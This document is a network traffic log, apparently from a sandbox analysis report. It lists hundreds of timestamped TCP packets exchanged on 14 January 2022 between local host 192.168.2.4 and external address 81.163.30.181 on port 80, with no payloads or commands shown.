Jan 14, 2022 20:29:56.652107000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652110100 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652128935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652152061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652154922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652173996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652194977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652205944 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652218103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652240038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652256012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652264118 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652278900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652297020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652301073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652323961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652343035 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652345896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652368069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652368069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652390957 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652411938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652414083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652436972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652456045 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652458906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652481079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652503014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652522087 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652527094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652549982 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652549982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652573109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652594090 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652595997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652617931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652640104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652659893 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652662039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652686119 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652687073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652709007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652728081 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652733088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652755976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652777910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652793884 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652800083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652822018 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652822971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652843952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652867079 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652867079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652889967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652911901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652930975 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652935028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652957916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652965069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652980089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.653001070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.653003931 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.653022051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.653044939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.653049946 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.653068066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.653090000 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.653100014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.653122902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.653143883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.653143883 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.653167009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.653184891 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.653189898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.653211117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.653233051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.653253078 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.653254986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.653275967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.653280020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.653297901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.653321028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.653326035 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.653358936 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.655347109 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.656718016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.665093899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.711174011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711241961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711282969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711323023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711349010 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.711359978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711366892 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.711399078 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.711400032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711438894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711478949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711519003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711524010 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.711558104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711597919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711601973 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.711637974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711675882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711687088 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.711715937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711719990 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.711755037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711795092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711798906 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.711833954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711872101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711882114 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.711910963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711952925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.711991072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712001085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.712028980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712034941 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.712069035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712109089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712114096 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.712148905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712187052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712197065 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.712225914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712265968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712304115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712313890 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.712343931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712383032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712393999 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.712421894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712425947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.712461948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712500095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712507010 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.712541103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712580919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712585926 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.712618113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712656975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712698936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712699890 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.712742090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712790966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712802887 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.712827921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712836981 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.712883949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712946892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.712996006 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.713002920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713062048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713109970 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.713120937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713167906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713170052 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.713208914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713247061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713257074 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.713287115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713326931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713363886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713371038 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.713404894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713444948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713454962 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.713485003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713488102 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.713526011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713563919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713574886 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.713603020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713641882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713680029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713690042 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.713718891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713725090 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.713757992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713797092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713804007 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.713838100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713917971 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.713923931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.713969946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714010000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714049101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714055061 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.714087963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714091063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.714150906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714189053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714195967 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.714230061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714268923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714307070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714309931 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.714345932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714348078 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.714385033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714422941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714425087 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.714463949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714500904 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714504957 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.714540958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714580059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714617014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714622021 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.714656115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714659929 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.714694977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714735031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714739084 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.714802980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714842081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714847088 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.714880943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714920998 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.714956999 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.714972019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.715012074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.715050936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.715051889 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.715087891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.715126991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.715146065 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.715164900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.715167999 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.715204954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.715245008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.715281963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.715373993 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.715663910 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.723066092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.728457928 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.773559093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773588896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773611069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773633003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773653984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773674965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773677111 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.773693085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.773696899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773708105 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.773716927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773739100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773741961 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.773761988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773782969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773793936 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.773804903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773825884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773827076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.773864985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773885965 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.773904085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773929119 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773951054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773972034 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.773972034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773993015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.773997068 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774013996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774028063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774036884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774058104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774079084 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774080038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774101019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774122000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774137974 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774143934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774163961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774168968 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774185896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774199009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774208069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774229050 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774251938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774252892 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774272919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774287939 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774293900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774315119 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774336100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774337053 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774358988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774380922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774380922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774400949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774421930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774441957 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774442911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774465084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774472952 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774486065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774502993 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774507999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774530888 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774553061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774554968 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774574995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774590015 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774596930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774621010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774641037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774657965 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774662971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774683952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774686098 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774704933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774718046 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774727106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774748087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774770021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774771929 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774792910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774828911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774851084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774873018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774873972 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774893045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774900913 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774914980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774919987 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774936914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774950027 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.774957895 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.774980068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775000095 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775001049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775022984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775044918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775058031 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.775064945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.775088072 CET	80	49882	81.163.30.181	192.168.2.4
